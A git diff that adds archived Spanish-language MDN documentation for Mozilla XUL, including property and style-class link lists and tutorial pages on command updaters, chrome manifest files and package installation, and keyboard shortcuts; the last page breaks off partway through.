+ <li><a href="/es/XUL/Property/webProgress" title="es/XUL/Property/webProgress">webProgress</a></li>
+ <li><a href="/es/XUL/Property/width" title="es/XUL/Property/width">width</a></li>
+ <li><a href="/es/XUL/Property/wizardPages" title="es/XUL/Property/wizardPages">wizardPages</a></li>
+ <li><a href="/es/XUL/Property/wrapAround" title="es/XUL/Property/wrapAround">wrapAround</a></li>
+ <li><a href="/es/XUL/Property/year" title="es/XUL/Property/year">year</a></li>
+ <li><a href="/es/XUL/Property/yearLeadingZero" title="es/XUL/Property/yearLeadingZero">yearLeadingZero</a></li>
+</ul>
+
+<h3 id="Related_DOM_element_properties" name="Related_DOM_element_properties">Propiedades de elementos relacionadas con DOM</h3>
+
+<ul>
+ <li><a href="/Es/DOM/Node.attributes" title="es/DOM/element.attributes">DOM:element.attributes</a></li>
+ <li><a href="/Es/DOM/Node.childNodes" title="es/DOM/element.childNodes">DOM:element.childNodes</a></li>
+ <li><a href="/Es/DOM/Node.cloneNode" title="es/DOM/element.cloneNode">DOM:element.cloneNode</a></li>
+ <li><a href="/Es/DOM/Node.firstChild" title="es/DOM/element.firstChild">DOM:element.firstChild</a></li>
+ <li><a href="/Es/DOM/Node.lastChild" title="es/DOM/element.lastChild">DOM:element.lastChild</a></li>
+ <li><a href="/Es/DOM/Node.localName" title="es/DOM/element.localName">DOM:element.localName</a></li>
+ <li><a href="/Es/DOM/Node.namespaceURI" title="es/DOM/element.namespaceURI">DOM:element.namespaceURI</a></li>
+ <li><a href="/Es/DOM/Node.nextSibling" title="es/DOM/element.nextSibling">DOM:element.nextSibling</a></li>
+ <li><a href="/Es/DOM/Node.nodeName" title="es/DOM/element.nodeName">DOM:element.nodeName</a></li>
+ <li><a href="/Es/DOM/Node.nodeType" title="es/DOM/element.nodeType">DOM:element.nodeType</a></li>
+ <li><a href="/Es/DOM/Node.nodeValue" title="es/DOM/element.nodeValue">DOM:element.nodeValue</a></li>
+ <li><a href="/Es/DOM/Node.ownerDocument" title="es/DOM/element.ownerDocument">DOM:element.ownerDocument</a></li>
+ <li><a href="/Es/DOM/Node.parentNode" title="es/DOM/element.parentNode">DOM:element.parentNode</a></li>
+ <li><a href="/Es/DOM/Node.prefix" title="es/DOM/element.prefix">DOM:element.prefix</a></li>
+ <li><a href="/Es/DOM/Node.previousSibling" title="es/DOM/element.previousSibling">DOM:element.previousSibling</a></li>
+ <li><a href="/es/DOM/element.tagName" title="es/DOM/element.tagName">DOM:element.tagName</a></li>
+</ul>
diff --git a/files/es/archive/mozilla/xul/style/index.html b/files/es/archive/mozilla/xul/style/index.html
new file mode 100644
index 0000000000..920b41ddce
--- /dev/null
+++ b/files/es/archive/mozilla/xul/style/index.html
@@ -0,0 +1,31 @@
+---
+title: Clases de estilo
+slug: Archive/Mozilla/XUL/Style
+translation_of: Archive/Mozilla/XUL/Style
+---
+<p><a href="/es/docs/XUL/Elementos" title="« Referencia de XUL">« Referencia de XUL</a></p>
+
+<ul>
+ <li><a href="/es/XUL/Style/alert-icon" title="es/XUL/Style/alert-icon">alert-icon</a></li>
+ <li><a href="/es/XUL/Style/chromeclass-toolbar" title="es/XUL/Style/chromeclass-toolbar">chromeclass-toolbar</a></li>
+ <li><a href="/es/XUL/Style/error-icon" title="es/XUL/Style/error-icon">error-icon</a></li>
+ <li><a href="/es/XUL/Style/groove" title="es/XUL/Style/groove">groove</a></li>
+ <li><a href="/es/XUL/Style/header" title="es/XUL/Style/header">header</a></li>
+ <li><a href="/es/XUL/Style/indent" title="es/XUL/Style/indent">indent</a></li>
+ <li><a href="/es/XUL/Style/listcell-iconic" title="es/XUL/Style/listcell-iconic">listcell-iconic</a></li>
+ <li><a href="/es/XUL/Style/listitem-iconic" title="es/XUL/Style/listitem-iconic">listitem-iconic</a></li>
+ <li><a href="/es/XUL/Style/menuitem-iconic" title="es/XUL/Style/menuitem-iconic">menuitem-iconic</a></li>
+ <li><a href="/es/XUL/Style/menuitem-non-iconic" title="es/XUL/Style/menuitem-non-iconic">menuitem-non-iconic</a></li>
+ <li><a href="/es/XUL/Style/message-icon" title="es/XUL/Style/message-icon">message-icon</a></li>
+ <li><a href="/es/XUL/Style/monospace" title="es/XUL/Style/monospace">monospace</a></li>
+ <li><a href="/es/XUL/Style/plain" title="es/XUL/Style/plain">plain</a></li>
+ <li><a href="/es/XUL/Style/question-icon" title="es/XUL/Style/question-icon">question-icon</a></li>
+ <li><a href="/es/XUL/Style/small-margin" title="es/XUL/Style/small-margin">small-margin</a></li>
+ <li><a href="/es/XUL/Style/statusbarpanel-iconic" title="es/XUL/Style/statusbarpanel-iconic">statusbarpanel-iconic</a></li>
+ <li><a href="/es/XUL/Style/statusbarpanel-iconic-text" title="es/XUL/Style/statusbarpanel-iconic-text">statusbarpanel-iconic-text</a></li>
+ <li><a href="/es/XUL/Style/statusbarpanel-menu-iconic" title="es/XUL/Style/statusbarpanel-menu-iconic">statusbarpanel-menu-iconic</a></li>
+ <li><a href="/es/XUL/Style/text-link" title="es/XUL/Style/text-link">text-link</a></li>
+ <li><a href="/es/XUL/Style/thin" title="es/XUL/Style/thin">thin</a></li>
+ <li><a href="/es/XUL/Style/tree-splitter" title="es/XUL/Style/tree-splitter">tree-splitter</a></li>
+ <li><a href="/es/XUL/Style/treecol-image" title="es/XUL/Style/treecol-image">treecol-image</a></li>
+</ul>
diff --git a/files/es/archive/mozilla/xul/tutorial_de_xul/actualizar_comandos/index.html b/files/es/archive/mozilla/xul/tutorial_de_xul/actualizar_comandos/index.html
new file mode 100644
index 0000000000..dd76069198
--- /dev/null
+++ b/files/es/archive/mozilla/xul/tutorial_de_xul/actualizar_comandos/index.html
@@ -0,0 +1,62 @@
+---
+title: Actualizar comandos
+slug: Archive/Mozilla/XUL/Tutorial_de_XUL/Actualizar_comandos
+tags:
+  - Tutorial_de_XUL
+  - XUL
+translation_of: Archive/Mozilla/XUL/Tutorial/Updating_Commands
+---
+<p> </p>
+<p>En esta sección veremos como actualizar comandos.</p>
+<h3 id="Invocando_comandos" name="Invocando_comandos">Invocando comandos</h3>
+<p>Si un comando tiene un atributo <code>oncommand</code>, podemos invocarlo simplemente usando el método doCommand del comando o de un elemento vinculado a él. Para otros comandos, necesitaremos usar un par de líneas de código. Necesitamos usar estos pasos adicionales cuando invocamos comandos implementados por un controlador. Además, tendremos que hacerlo cuando creemos nuestros comandos de menú, por ejemplo para implementar los comandos del menú editar en nuestra aplicación.</p>
+<p>Afortunadamente, el código extra es bastante simple. Todo lo que necesitamos hacer es obtener el controlador y llamar al comando. Un forma sencilla de hacerlo es la siguiente:</p>
+<pre>var controlador = document.commandDispatcher.getControllerForCommand("cmd_paste");
+if (controlador &amp;&amp; controlador.isCommandEnabled("cmd_paste"))
+  controlador.doCommand(command);
+}
+</pre>
+<p>El código mostrado arriba primero obtiene el controlador para comando ‘cmd_paste’ del despachador de comandos. Entonces comprueba que el comando esta habilitado y lo ejecuta usando el método doCommand. Hay que fijarse en que no hace falta adivinar que elemento o controlador usar, el despachador de comandos hace esa faena por nosotros. Tambíen podríamos ejecutar el método doCommand sin comprobar si el comando está habilitado o no, aunque mejor no hacerlo.</p>
+<p>El código de arriba es lo suficientemente genérico como para crear una función que tome un parametro, comando, y lo ejecute. Esta función podría entonces ser reusada para todos los comandos. De hecho, esto es tan común que Mozilla incluye una librería que hace justo esto. Sí incluyes el guión ‘<a class="external" rel="freelink">chrome://global/content/globalOverlay.js</a>’ en un archivo XUL, puede llamar el método goDoCommand que ejecutará el comando que se le pase como parametro. El código para esa función son simplemente unas pocas líneas, así que podemos incluirla directamente en nuestro código si por alguna razón no queremos incluir la librería.</p>
+<pre>&lt;script src="chrome://global/content/globalOverlay.js"/&gt;
+
+&lt;command id="cmd_paste" oncommand="goDoCommand('cmd_paste');/&gt;
+&lt;button label="Pegar" command="cmd_paste"/&gt;
+</pre>
+<p>Este ejemplo implementa un botón Pegar. Está vinculado con un comando que a su vez invoca ese mismo comando para que lo gestione el controlador por defecto. Este código es todo lo que se necesita para implementar la funcionalidad del comando pegar en nuestra aplicación. La única cosa que nos falta es asegurarnos de que el comando pegar, y por ende el botón, este habilitado y se actualize en el momento oportuno, lo que se describe a continuación.</p>
+<h3 id="Actualizadores_de_comandos" name="Actualizadores_de_comandos">Actualizadores de comandos</h3>
+<p>Un actualizador de comandos es una característica extra del elemento commandset, que nos permite actualizar el estado de uno o más comandos cuando ciertos eventos ocurren. Necesitamos pensar cuando un comando es válido y cuando no lo es. Además debemos considerar cuando debe cambiar el estado y cuando debén los comandos ser actualizados.</p>
+<p>Por ejemplo, el comando pegar es válido cuando una caja de texto tiene el foco y hay algo en el portapapeles que pegar. El comando se habilitará cuando la caja de texto obtenga el foco o el contenido del portapales cambie. Un actualizador de comandos escuchará a estas situaciones y podrá ejecutar código que habilite o deshabilite comandos como sea necesario.</p>
+<p>Un simple actualizador de comandos puede ser como el siguiente:</p>
+<pre>&lt;commandset id="actualizaPegarElemento"
+            commandupdater="true"
+            events="focus"
+            oncommandupdate="goUpdateCommand('cmd_paste');"/&gt;
+</pre>
+<p>Un actualizador de comandos es indicado cuando se usa el atributo commandupdater, el cual debe ser true. El atributo event se usa para definir los eventos a los cuales debe escuchar el actualizador. Podemos especificar varios eventos si los separamos con comas. En este ejemplo el actualizador de comandos escucha al evento ‘focus’. Esto hará que los comandos se actualizen con un elemento reciba el foco.</p>
+<p>Cuando ocurre un evento de foco, el código en el atributo oncommandupdate es ejecutado. En el ejemplo, la función goupdateCommand es llamada, que es la función implementada en globalOverlay.js descrita anteriormente. Esto actualizara el comando y habilitará o deshabilitará los botones y menús necesarios. El código detrás de todo esto es bastante sencillo. Simplement coge el controlador adecuado, llama su método isCommandEnabled y el comando queda habilitado o deshabilitado. Si hay varios comandos a actualizar, llamaremos la función goUpdateCommand una vez para cada comando.</p>
+<p>Cabe mencionar que el actualizador de comandos recibirá avisos sobre todos los eventos de foco en todos los elementos, incluso si otros gestores de eventos responden al evento. Esencialmente, un actualizador de comandos es como un gestor de eventos global.</p>
+<p>Los actualizadores de comandos puede escuchar a los siguientes eventos, aunque es posible crear nuestros propios eventos.</p>
+<pre class="eval">   * focus: ocurre cuando un elemento obtiene el foco
+   * select: ocurre cuando el texto seleccionado cambia
+   * undo: ocurre cuando el buffer de deshacer cambia
+   * clipboard: ocurre cuando los contenidos del portapapeles cambian
+</pre>
+<p>Los siguientes ejemplos demuestran como se usan los actualizadores de comandos en el navegador Mozilla para actualizar los comandos del menú editar. Las funciones usadas pueden ser encontradas en el fichero ‘<a class="external" rel="freelink">chrome://communicator/content/utilityOverlay.js</a>’.</p>
+<pre>&lt;commandset id="globalEditMenuItems"
+            commandupdater="true"
+            events="focus"
+            oncommandupdate="goUpdateGlobalEditMenuItems()"/&gt;
+&lt;commandset id="selectEditMenuItems"
+            commandupdater="true"
+            events="select"
+            oncommandupdate="goUpdateSelectEditMenuItems()"/&gt;
+&lt;commandset id="undoEditMenuItems"
+            commandupdater="true"
+            events="undo"
+            oncommandupdate="goUpdateUndoEditMenuItems()"/&gt;
+&lt;commandset id="clipboardEditMenuItems"
+            commandupdater="true"
+            events="clipboard"
+            oncommandupdate="goUpdatePasteMenuItems()"/&gt;
+</pre>
diff --git a/files/es/archive/mozilla/xul/tutorial_de_xul/archivos_manifest/index.html b/files/es/archive/mozilla/xul/tutorial_de_xul/archivos_manifest/index.html
new file mode 100644
index 0000000000..e95455ea20
--- /dev/null
+++ b/files/es/archive/mozilla/xul/tutorial_de_xul/archivos_manifest/index.html
@@ -0,0 +1,155 @@
+---
+title: Archivos Manifest
+slug: Archive/Mozilla/XUL/Tutorial_de_XUL/Archivos_Manifest
+tags:
+  - Todas_las_Categorías
+  - XUL
+translation_of: Archive/Mozilla/XUL/Tutorial/Manifest_Files
+---
+<div class="prevnext" style="text-align: right;">
+    <p><a href="/es/docs/Tutorial_de_XUL:La_URL_chrome" style="float: left;">« Anterior</a><a href="/es/docs/Tutorial_de_XUL:Creando_una_ventana">Siguiente  »</a></p>
+</div>
+
+<p><br>
+ En esta sección veremos como incluir ficheros XUL y chrome en un un paquete y crear un archivo <em>Manifest</em> para ellos.</p>
+
+<h3 id="Paquetes" name="Paquetes">Paquetes</h3>
+
+<p>Un paquete es un conjunto de ficheros XUL y scripts que definen la funcionalidad de una interfaz de usuario. Los paquetes se pueden instalar dentro de Mozilla y referenciar con una URL del chrome. Un paquete puede contener cualquier tipo de ficheros que pueden estar separados en distintos subdirectorios dentro del paquete. Un paquete puede estar contenido como un directorio o como un fichero JAR.</p>
+
+<h3 id="Archivos_Manifest" name="Archivos_Manifest">Archivos Manifest</h3>
+
+<p>Un archivo manifest describe un paquete y mapea su localización en disco a una URL. El archivo manifest en el directorio chrome se examinará al iniciarse la aplicación Mozilla para comprobar los paquetes instalados. Esto significa que todo lo que necesitamos hacer para instalar un nuevo paquete es añadir un nuevo archivo manifest en el directorio chrome de la aplicación o en el directorio chrome específico del usuario. Este último es el utilizado preferentemente, dado que es posible que no tengamos suficientes permisos para escribir en el directorio de la aplicación.</p>
+
+<p>Si únicamente intenta probar código XUL con privilegios en el navegador Firefox, puede hacerlo fácilmente utilizando un archivo manifest con sólo una linea:</p>
+
+<ol>
+ <li>Cree un nuevo directorio en algún lugar. Por ejemplo, en una maquina Windows, puede usar C:\testfiles</li>
+ <li>Cree un nuevo fichero <strong>ASCII</strong><sup>1</sup> llamado test.manifest en el directorio chrome. Realmente no importa cómo se llame el fichero, tan solo que tenga la extensión .manifest. <sub>(1. No funciona con UTF-8 com BOM.)</sub></li>
+ <li>Añada la linea siguiente en él:</li>
+</ol>
+
+<pre class="eval"> content tests <a class="external" rel="freelink">file:///C:/testfiles/</a>
+</pre>
+
+<p>La ruta al fichero deberá apuntar al directorio creado anteriormente. Si no está seguro de cual es la ruta, abra el directorio en el navegador y copie la URL de la barra de dirección.</p>
+
+<p>¡Ya está! Ahora, todo lo que necesita hacer es añadir algunos ficheros XUL dentro del nuevo directorio y será capaz de cargarlos escribiéndolos en una URL chrome de la forma <a class="external" rel="freelink">chrome://tests/content/</a>&lt;filename&gt;. Por supuesto, necesitará reiniciar el navegador para que los cambios tengan efecto. Si el fichero no carga, asegúrese de que la ruta del fichero es correcta.</p>
+
+<p>La sintaxis básica de las lineas en un archivo manifest para contener paquetes es:</p>
+
+<p>'content &lt;nombrepaquete&gt; &lt;rutaarchivo&gt;'</p>
+
+<p>El primer campo 'content' indica un paquete contenido. Para los temas utilizamos 'skin', mientras que para la configuración regional utilizamos 'locale'. El &lt;nombrepaquete&gt; es en nuestro ejemplo de arriba 'tests', lo cual significa que el primer campo en la URL chrome es 'tests' como en <a class="external" rel="freelink">chrome://tests/content/sample.xul</a>. Si el nombre del paquete fuera 'browser', la URL chrome sería <a class="external" rel="freelink">chrome://browser/content/</a>. El campo final es la ruta donde se localiza el archivo. Esta puede ser una ruta de archivo local utilizando una URL de archivo, o un archivo JAR utilizando una URL jar, la cual describiremos a continuación. Puede especificar múltiples paquetes incluyendo otras lineas en el fichero manifest.</p>
+
+<p>El fichero browser.manifest usado por Firefox es algo parecido a esto:</p>
+
+<pre>content branding jar:browser.jar!/content/branding/ xpcnativewrappers=yes
+content browser jar:browser.jar!/content/browser/ xpcnativewrappers=yes
+overlay chrome://global/content/viewSource.xul chrome://browser/content/viewSourceOverlay.xul
+overlay chrome://global/content/viewPartialSource.xul chrome://browser/content/viewSourceOverlay.xul
+overlay chrome://browser/content/pageInfo.xul chrome://pippki/content/PageInfoOverlay.xul
+</pre>
+
+<p>Aqui se estan listando dos paquetes, 'branding' y 'browser'. Además se están especificando tres recubrimeintos (overlays ), lo cual permite combinar contenidos de distintos paquetes. Las extensiones harán mayor uso de los recubrimientos (overlays), dado que ellas fusionan su UI con la del navegador.</p>
+
+<p>Las rutas de fichero para los paquetes branding y browser utilizan URLs jar dado que el contenido está empaquetado en un archivo. Un archivo JAR puede crearse con una utilidad ZIP. Para un archivo JAR localizado en el directorio chrome, la sintaxis es muy simple:</p>
+
+<p>jar:&lt;filename.jar&gt;!/&lt;ruta_en_el_archivo&gt;</p>
+
+<p>Para el paquete browser, el archivo es browser.jar, situado junto al fichero manifest en el directorio chrome. La ruta 'content/browser' especifica la ruta donde se localizan los ficheros XUL dentro del archivo. No necesita especificar la ruta si no tiene directorio en el archivo. En este caso la hay, dado que los ficheros para el paquete branding se almacenan en diferentes rutas del mismo archivo.</p>
+
+<p>Para el paquete 'tests' creado, los archivos no se encuentran empaquetados por lo que utilizaremos una ruta directa. Ello facilita la labor del desarrollador puesto que no se precisa empaquetar todos los archivos cada vez que se realiza un cambio. Sin embargo, en el momento de la distribución del paquete o la extensión, es preferible hacerlo empaquetado para evitar la instalación de varios pequeños archivos.</p>
+
+<p>La parte <em>xpcnativewrappers=yes</em> del final del manifiesto es un señalador que puede usarse opcionalmente. En <em>javascript</em> es posible sobreescribir las funciones preconstruidas en el código. Si se especifica el señalador <em>xpcnativewrappers</em>, indicará que el <em>script</em> que se ejecuta en un contexto con privilegios no utiliza las versiones sobrecargadas sino las versiones originales. De otro modo, si la extensión intentara llamadas a las versiones modificadas pudiera no funcionar correctamente, o peor aún, crear problemas en la seguridad. Este señalador fue añadido para prevenir estos problemas y debería utlizarse siempre en nuevas extensiones, pero se ha respetado por compatibilidad de antiguas extensiones.</p>
+
+<h3 id="Temas_y_configuraci.C3.B3n_regional" name="Temas_y_configuraci.C3.B3n_regional">Temas y configuración regional</h3>
+
+<p>La estructura para los temas y la configuración regional es similar a la del paquete de contenido, excepto que es necesario especificar el paquete de contenido para el cual se está proporcionando dicho tema o configuración regional. Por ejemplo:</p>
+
+<pre>skin browser classic/1.0 jar:classic.jar!/skin/classic/browser/
+locale browser en-US jar:en-US.jar!/locale/browser/
+</pre>
+
+<p>A las líneas anteriores se les ha añadido un campo extra para indicar que tanto el tema y la configuración regional se aplican al navegador. El nombre del tema es 'classic/1.0'. Es este caso se usa un número de versión como parte del nombre del tema pero es opcional si vas a crear tu propio tema. Mozilla no utiliza el número de versión de manera especial ya que dicho número simplemente forma parte del nombre del tema. La configuración regional es 'en-US'. Sus URL chrome son mapeadas a <a class="external" rel="freelink">chrome://browser/skin</a> y <a class="external" rel="freelink">chrome://browser/locale</a>. Si estás creando tu propio tema o configuración regional para el navegador, todo lo que necesitas hacer es crear un fichero manifest con una de estas dos líneas en él, modificándolas para que se adapten al tema o a la configuración regional.</p>
+
+<h3 id="Nuestro_dialogo_de_ejemplo_para_buscar_archivos" name="Nuestro_dialogo_de_ejemplo_para_buscar_archivos">Nuestro dialogo de ejemplo para buscar archivos</h3>
+
+<p>Vamos a crear un fichero manifest para el cuadro de diálogo para buscar archivos que desarrollaremos. Puedes combinar los tres tipos anteriores en un único fichero si lo deseas. Esto se puede hacer cuando se crea una extensión con todas sus partes incluidas en un solo fichero. Lo haremos así para el cuadro de diálogo. Crea un fichero llamado findfile.manifest en el directorio chrome y añade lo siguiente a dicho fichero:</p>
+
+<pre>content findfile file:///findfile/content/
+skin findfile classic/1.0 file:///findfile/skin/
+locale findfile en-US file:///findfile/locale/
+</pre>
+
+<p>Crea los nuevos directorios listados anteriormente. No importa dónde, pero asegúrate de que la rutas de los ficheros en el fichero manifest apuntan a dichos directorios. Naturalmente, lo lógico sería usar los directorios apropiados para tu sistema. Si se va a distribuir el paquete, se necesitaría empaquetarlo en un fichero JAR y modificar estas rutas. En este caso, sólo vamos a crearlo para demostrar el uso del fichero manifest y para preparar los directorios para los ejemplo que veremos en las siguiente secciones.</p>
+
+<p>Nótese que el segundo campo de las líneas del tema y de la configuración regional especifica 'findfile'. Esto significa que el tema y la configuración regional modifican el paquete findfile especificado en la primera línea. Las tres rutas anteriores especifican subdirectorios para cada parte. Seguramente querrás crear estos subdirectorios para mantener los ficheros de cada parte separados.</p>
+
+<h3 id="Instalaci.C3.B3n_de_un_paquete" name="Instalaci.C3.B3n_de_un_paquete">Instalación de un paquete</h3>
+
+<p>Para instalar una aplicación, necesitarás crear un instalador para ella o incluirlo como parte de otra aplicación. El método usado depende de qué clase de aplicación estés creando. Para las extensiones, necesitarás crear un fichero de instalación llamado install.rdf, el cual describe lo que será instalado, el autor de la extensión y con qué versiones del navegador u otras aplicaciones es compatible. También se necesita una estructura de directorios específica ya que las extensiones están limitadas a donde los ficheros deben de ser instalados. Una extensión es empaquetada en un fichero XPI. XPI es la abreviatura de XPInstall y es usada por Mozilla para instalar componentes. Al igual que los ficheros JAR, un fichero XPI sólo es un fichero ZIP al que se le ha cambiado la extensión por lo que puedes crear y ver los ficheros XPI con cualquier herramienta ZIP.</p>
+
+<p>El administrador de extensiones de Firefox maneja automáticamente las extensiones instaladas empaquetadas en ficheros XPI. Se recomienda subir las extensiones al <a class="link-https" href="https://addons.mozilla.org/">sitio Add-ons de Mozilla</a>, donde los usuarios pueden localizarlas para instalarlas. Aunque pueden ser instaladas desde cualquier lugar, de modo predeterminado no se permiten instalaciones desde otros sitios.</p>
+
+<p>También es posible utilizar un script de instalación escrito en JavaScript para instalar ficheros. Esto permite copiar los ficheros a cualquier ubicación y realizar otras tareas de administración de ficheros. Sin embargo, las aplicaciones instaladas a través de script no serán listadas por el administrador de extensiones ni existe ningún método automatizado para desinstalarlas. Por esta razón, los scripts de instalación no se usan tan asiduamente.</p>
+
+<p>Las aplicaciones independientes pueden ser empaquetadas utilizando XULRunner. Esto crea un fichero ejecutable por separado para que la aplicación pueda ser distribuida independientemente del navegador.</p>
+
+<p>Para más información sobre la creación de extensiones, véase <a href="/es/Extensiones" title="es/Extensiones">Extensiones</a>. Para más información sobre XULRunner, véase <a href="/es/XULRunner" title="es/XULRunner">XULRunner</a>.</p>
+
+<h3 id="Aplicaciones_antiguas" name="Aplicaciones_antiguas">Aplicaciones antiguas</h3>
+
+<p>Si estás creando aplicaciones para las versiones antiguas de Mozilla, es decir, anteriores a Firefox 1.5 o a Mozilla 1.8, el proceso se vuelve un poco más complicado. A continuación se explica cómo configurar un paquete para las primeras versiones. Se puede obviar esta sección si lo que se van a crear son nuevas extensiones o aplicaciones XUL.</p>
+
+<div class="note"><strong>Nota</strong>: Este antiguo proceso también se aplica al nuevo SeaMonkey 1.0. El código base aún no ha adoptado el formao <em>"Manifest"</em>.</div>
+
+<pre class="eval">&lt;?xml version="1.0"?&gt;
+
+&lt;RDF:RDF xmlns:RDF="<span class="nowiki">http://www.w3.org/1999/02/22-rdf-syntax-ns#</span>"
+         xmlns:chrome="<span class="nowiki">http://www.mozilla.org/rdf/chrome#</span>"&gt;
+
+  &lt;RDF:Seq about="urn:mozilla:package:root"&gt;
+    &lt;RDF:li resource="urn:mozilla:package:<span style="color: #ff0000;"><span class="highlightred">mi_aplicacion</span></span>"/&gt;
+  &lt;/RDF:Seq&gt;
+
+  &lt;RDF:Description about="urn:mozilla:package:<span style="color: #ff0000;"><span class="highlightred">mi_aplicacion</span></span>"
+          chrome:displayName="<span style="color: #00ccff;"><span class="highlightblue">titulo</span></span>"
+          chrome:author="<span style="color: #00ccff;"><span class="highlightblue">autor</span></span>"
+          chrome:name="<span style="color: #ff0000;"><span class="highlightred">mi_aplicacion</span></span>"
+          chrome:extension="true"/&gt;
+
+&lt;/RDF:RDF&gt;
+</pre>
+
+<pre class="eval">content,install,url,<span class="highlightred"><a class="external" rel="freelink">file:///main/app/</a></span>
+</pre>
+
+<ol>
+ <li>Crea un directorio cualquiera. La mayoría de la gente lo crearía como subdirectorio del directorio chrome de Mozilla aunque no es imprescindible. El directorio puede estar en cualquier lugar en disco. Pon los ficheros XUL en este directorio.</li>
+ <li>Crea un fichero llamado contents.rdf y ponlo en dicho directorio. Copia el texto mostrado a continuación en este fichero. Este fichero será usado para conocer el identificador de la aplicación, su nombre, autor, versión, etc...</li>
+ <li>Cambia las partes resaltadas del fichero anterior por tus datos. El texto en rojo '<span style="color: #ff0000;">mi_aplicacion</span>' debería corresponder al ID de la aplicación. Te lo puedes inventar pero usualmente el ID corresponde al nombre de la aplicación. Reemplaza el texto resaltado en <span style="color: #00ccff;">azul</span> con el título de la aplicación y el autor.</li>
+ <li>Si el campo 'chrome:extension' es true, la aplicación es una extensión de Mozilla Firefox Extension y será mostrada en la ventana de extensiones del navegador. Si es false, no aparecerá.</li>
+ <li>Guarda el fichero contents.rdf y asegúrate de que está en el directorio creado en el paso 1.</li>
+ <li>Abre el fichero &lt;directorio_mozilla&gt;/chrome/installed-chrome.txt, donde &lt;directorio_mozilla&gt; es el directorio deon está instalado Mozilla. Sal de Mozilla antes de hacer esto.</li>
+ <li>A continuación vas a registrar la nueva aplicación con Mozilla para que ésta sepa dónde encontrarla. Añade una línea al final de installed-chrome.txt apuntando al nuevo directorio creado en el paso 1. Cambia el texto resaltado a continuación por la ruta del directorio. Asegúrate de que la URL acaba con una barra (/) y que dejas una nueva línea al final de la línea. Si no estás seguro de qué URL es, abre el directorio creado en el paso 1 en Mozilla y copia la URL desde el campo de localización. Date cuenta de que la referencia debe ser siempre un directorio, no un fichero.</li>
+ <li>Borra el fichero &lt;directorio_mozilla&gt;/chrome/chrome.rdf.</li>
+ <li>Ejecuta Mozilla. Deberías ver cualquier fichero XUL ubicado en el directorio utilizando una URL de la forma <strong>chrome://<span class="highlightred">id_aplicacion</span>/content/fichero.xul</strong> donde fichero.xul es el nombre del fichero. El fichero XUL principal debería ser id_aplicacion.xul, el cual puede ser cargado usando la URL abreviada <strong>chrome://<span class="highlightred">id_aplicacion</span>/content/</strong>.</li>
+</ol>
+
+<p>Si estás creando temas y/o configuraciones regionales, repite los pasos anteriores, exceptuando que el formato del fichero contents.rdf es ligeramente diferente. Mira el contenido de los ficheros contents.rdf en otras aplicaciones para más detalles.</p>
+
+<h3 id="Localizaci.C3.B3n_de_fallos" name="Localizaci.C3.B3n_de_fallos">Localización de fallos</h3>
+
+<p>Crear un paquete chrome puede resultar con frecuencia un arte y es difícil detectar errores. A continuación se muestran unos cuantos trucos en caso de que te atasques.</p>
+
+<ul>
+ <li>Abre el fichero &lt;directorio_mozilla&gt;/chrome/chrome.rdf. Ahí deberías encontrar referencias a tu ID de aplicación. Si no es el caso, algo ha ido mal durante el registro. Si está ahí, probablemente estés usando una URL chrome incorrecta cuando cargas el fichero.</li>
+ <li>Intenta borrar el fichero &lt;directorio_mozilla&gt;/chrome/chrome.rdf. Será regenerado. Elimina por completo también el directorio &lt;directorio_mozilla&gt;/chrome/overlayinfo/ si estás usando overlays.</li>
+ <li>Asegúrate de que la URL que añadiste en el fichero installed-chrome.txt acaba con una barra y que hay un retorno de carro después de ella.</li>
+ <li>En Windows, las URL del sistema de ficheros tienen de la forma <a class="external" rel="freelink">file:///C</a>|/files/app/, donde C es la letra de unidad.</li>
+ <li>Asegúrate de que el fichero contents.rdf está en el directorio correcto y de que está bien escrito. Abre el fichero contents.rdf en Mozilla para ver si lo analiza como un XML bien formado. Si no, verás un error sobre un fondo amarillo.</li>
+ <li>Si estás utilizando una compilación de depuración de Mozilla, cierta información será mostrada en el terminal cuando empiece a comprobar las aplicaciones chrome. Comprueba si tu aplicación aparece en este listado.</li>
+</ul>
+
+<p>En la siguiente sección empezaremos a mirar el lenguaje XUL.</p>
diff --git a/files/es/archive/mozilla/xul/tutorial_de_xul/atajos_de_teclado/index.html b/files/es/archive/mozilla/xul/tutorial_de_xul/atajos_de_teclado/index.html
new file mode 100644
index 0000000000..39ab142d19
--- /dev/null
+++ b/files/es/archive/mozilla/xul/tutorial_de_xul/atajos_de_teclado/index.html
@@ -0,0 +1,376 @@
+---
+title: Atajos de teclado
+slug: Archive/Mozilla/XUL/Tutorial_de_XUL/Atajos_de_teclado
+tags:
+  - Todas_las_Categorías
+  - Tutorial_de_XUL
+  - XUL
+translation_of: Archive/Mozilla/XUL/Tutorial/Keyboard_Shortcuts
+---
+<p>Puedes usar manejadores de evento de teclado para responder al teclado. Sin embargo, sería tedioso hacer eso para cada botón y elemento de menú.</p>
+
+<h3 id="Creaci.C3.B3n_de_un_atajo_de_teclado" name="Creaci.C3.B3n_de_un_atajo_de_teclado">Creación de un atajo de teclado</h3>
+
+<p>XUL provee métodos en los cuales puede definir atajos de teclado. Ya vimos en <a href="/es/Tutorial_de_XUL/Menús_de_Barras_Simples" title="es/Tutorial de XUL/Menús de Barras Simples">la sección de menús</a> que podemos definir un atributo llamado <code>accesskey</code> que específica la tecla que un usuario debe presionar para activar el menú o un elemento del mismo. En el ejemplo que está debajo, el menú Archivo puede ser seleccionado presionando 'Alt' y 'F' (o cualquier otra combinación de teclas para una plataforma específica). Una vez que el menú Archivo está abierto, el menú Cerrar puede ser seleccionado presionando la tecla C.</p>
+
+<p><strong>Ejemplo 1</strong>: <a href="https://developer.mozilla.org/samples/xultu/examples/ex_keyshort_1.xul.txt">Código</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_keyshort_1.xul">Ver en funcionamiento</a></p>
+
+<pre>&lt;menubar id="sample-menubar"&gt;
+  &lt;menu id="file-menu" label="Archivo" accesskey="f"&gt;
+    &lt;menupopup id="file-popup"&gt;
+      &lt;menuitem id="close-command" label="Cerrar" accesskey="c"/&gt;
+    &lt;/menupopup&gt;
+  &lt;/menu&gt;
+&lt;/menubar&gt;
+</pre>
+
+<p>Tambié puede usar el atributo <code><a href="/Es/XUL/Atributos#accesskey" title="Es/XUL/Atributos#accesskey">accesskey</a></code> en botones. Cuando la tecla es presionada en este caso, el botón es seleccionado.</p>
+
